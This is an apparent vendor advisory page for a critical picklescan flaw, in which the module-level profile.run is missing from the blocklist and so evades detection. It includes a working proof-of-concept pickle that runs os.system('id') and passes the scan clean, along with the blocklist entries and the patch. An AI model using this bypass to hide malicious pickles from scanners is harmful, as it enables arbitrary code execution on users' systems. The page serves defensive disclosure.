NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

PickleScan's profile.run blocklist mismatch allows exec() bypassGHSA-7wx9-6375-f5wh

CRITICAL

GHSA-7wx9-6375-f5wh is a critical-severity (CVSS 9.8) CWE-184 vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.

Also known asCVE-2026-53873PYSEC-2026-455
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-7wx9-6375-f5wh.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk
0.00%0.39%0.78%1.17%0.5%0.5%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍picklescan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

  • module = "profile"
  • name = "run"

The blocklist check at line 414 is:

elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle GlobalBlocklist EntryMatch?Result
("profile", "run")"Profile.run"NO — "run" != "Profile.run"CLEAN (bypass!)
("profile", "Profile.run")"Profile.run"YESDETECTED
("profile", "runctx")"Profile.runctx"NO — "runctx" != "Profile.runctx"CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

"profile": {"Profile.run", "Profile.runctx"},

to:

"profile": "*",

Or explicitly add the module-level functions:

"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpicklescanall versions1.0.4pip install --upgrade 'picklescan==1.0.4'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update picklescan to 1.0.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7wx9-6375-f5wh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also
O3 Security · Impact-Aware SCA

Is GHSA-7wx9-6375-f5wh in your dependencies?

Find it across PyPI, including transitive dependencies.

PickleScan's profile.run blocklist mismatch allows exec()…